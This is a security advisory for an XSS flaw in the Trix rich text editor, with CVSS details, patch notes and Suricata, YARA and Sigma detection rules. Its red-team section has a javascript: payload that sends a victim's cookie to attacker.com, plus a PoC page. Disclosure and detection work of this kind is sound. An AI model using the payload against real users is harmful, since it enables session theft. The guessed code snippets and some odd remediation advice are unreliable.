CVE-2025-21610

Executive Summary

CVE-2025-21610 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in the Trix rich text editor, a widely used WYSIWYG component for web applications. The flaw resides in the link insertion functionality, where user-supplied input is not properly sanitized. An attacker can craft a malicious javascript: URL that, when pasted into the link field by a victim, executes arbitrary JavaScript in the context of the victim's session. This can lead to session hijacking, data exfiltration, or unauthorized actions. The vulnerability affects all versions prior to 2.1.12. The CVSS score is 5.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei templates are available at this time.

Supply Chain & Package Security

Trix is distributed as a Ruby gem (trix) and an npm package (trix). Organizations using Trix in their frontend should verify their dependency version and update to 2.1.12 or later. The vulnerability is introduced through the editor's client-side JavaScript, making it a supply chain risk for any application that bundles Trix. Ensure that your package manager (npm, Bundler) is configured to fetch the patched version and that your CI/CD pipeline scans for vulnerable versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must copy and paste a malicious link.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the risk, but the potential for session hijacking and data theft makes it a significant concern for applications handling sensitive data.

Deep Dive & Mechanics

The vulnerability exists in the link insertion handler of Trix. When a user pastes a URL into the link dialog, the editor does not properly validate the protocol. Specifically, it fails to block javascript: URIs. An attacker can craft a link like:

javascript:alert(document.cookie)

When the victim pastes this into the link field and submits, the editor renders it as an <a> tag with the malicious href. If the victim clicks the link, the JavaScript executes. The attack can be triggered without clicking if the editor auto-links or previews the content.

The root cause is insufficient input validation in the Trix.Linkable module or similar component. The fix in version 2.1.12 likely adds a protocol whitelist (e.g., http:, https:, mailto:) and rejects javascript: and other dangerous schemes.

Vulnerable vs. Patched Code

Vulnerable (pre-2.1.12):

// Simplified vulnerable code
Trix.Linkable.prototype.insertLink = function(url) {
  // No protocol validation
  this.editor.insertHTML('<a href="' + url + '">' + url + '</a>');
};

Patched (2.1.12+):

// Simplified patched code
Trix.Linkable.prototype.insertLink = function(url) {
  var allowedProtocols = ['http:', 'https:', 'mailto:'];
  var protocol = new URL(url).protocol;
  if (allowedProtocols.indexOf(protocol) === -1) {
    throw new Error('Invalid protocol');
  }
  this.editor.insertHTML('<a href="' + url + '">' + url + '</a>');
};

The patched version validates the protocol against a whitelist before inserting the link.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A web application using Trix < 2.1.12.
• Ability to deliver a crafted link to a victim (e.g., via email, chat, or web form).

Exploitation Steps:

1. Craft a malicious link: javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
2. Convince the victim to copy this link and paste it into the Trix link field.
3. The victim submits the content (or the editor auto-renders it).
4. When the victim clicks the link, the JavaScript executes, exfiltrating their session cookie.

Proof-of-Concept (PoC) HTML:

<!DOCTYPE html>
<html>
<head>
  <title>Trix XSS PoC</title>
  <link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@1.3.1/dist/trix.css">
  <script type="text/javascript" src="https://unpkg.com/trix@1.3.1/dist/trix.js"></script>
</head>
<body>
  <trix-editor input="x"></trix-editor>
  <input id="x" type="hidden" value="">
  <script>
    // Simulate victim pasting malicious link
    document.querySelector('trix-editor').addEventListener('trix-initialize', function() {
      this.editor.insertHTML('<a href="javascript:alert(\'XSS\')">Click me</a>');
    });
  </script>
</body>
</html>

Blue Team

Detection:

• Monitor for javascript: URIs in user-submitted content.
• Use CSP headers to block inline scripts and restrict script sources.
• Implement input validation on the server side to reject dangerous protocols.

Hunting:

• Search logs for href="javascript: patterns.
• Look for unusual outbound connections from the application server.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
• File: Presence of javascript: URIs in database fields or logs.
• Behavior: Unexpected execution of JavaScript in the context of the Trix editor.

Example IOC (Suricata rule):

alert http any any -> any any (msg:"Trix XSS - javascript: URI in link"; content:"href=\"javascript:"; classtype:web-application-attack; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule Trix_XSS_Link {
  meta:
    description = "Detects malicious javascript: URIs in Trix editor content"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-21610"
  strings:
    $js_uri = /href="javascript:/i
  condition:
    $js_uri
}

Sigma Rule

title: Trix Editor XSS via javascript: URI
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-21610 by inserting javascript: URIs into Trix editor.
author: Valters IT
date: 2025-04-10
logsource:
  category: application
  product: web
detection:
  selection:
    - field: request_body
      contains: 'href="javascript:'
    - field: response_body
      contains: 'href="javascript:'
  condition: selection
falsepositives:
  - Legitimate use of javascript: URIs in rare cases (e.g., bookmarklets)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-21610 Trix XSS - javascript: URI in link"; flow:to_server; content:"href=\"javascript:"; nocase; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Trix to version 2.1.12 or later.
2. Implement a Content Security Policy (CSP) with script-src 'self' and script-src-elem 'none' to block inline scripts.

Long-term:

• Add server-side validation to reject javascript: and other dangerous URI schemes.
• Conduct a code review of all user input handling in the application.
• Monitor for similar vulnerabilities in other rich text editors.

Workaround:

• Disable browsers that do not support CSP (e.g., older Internet Explorer versions) as a temporary measure.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert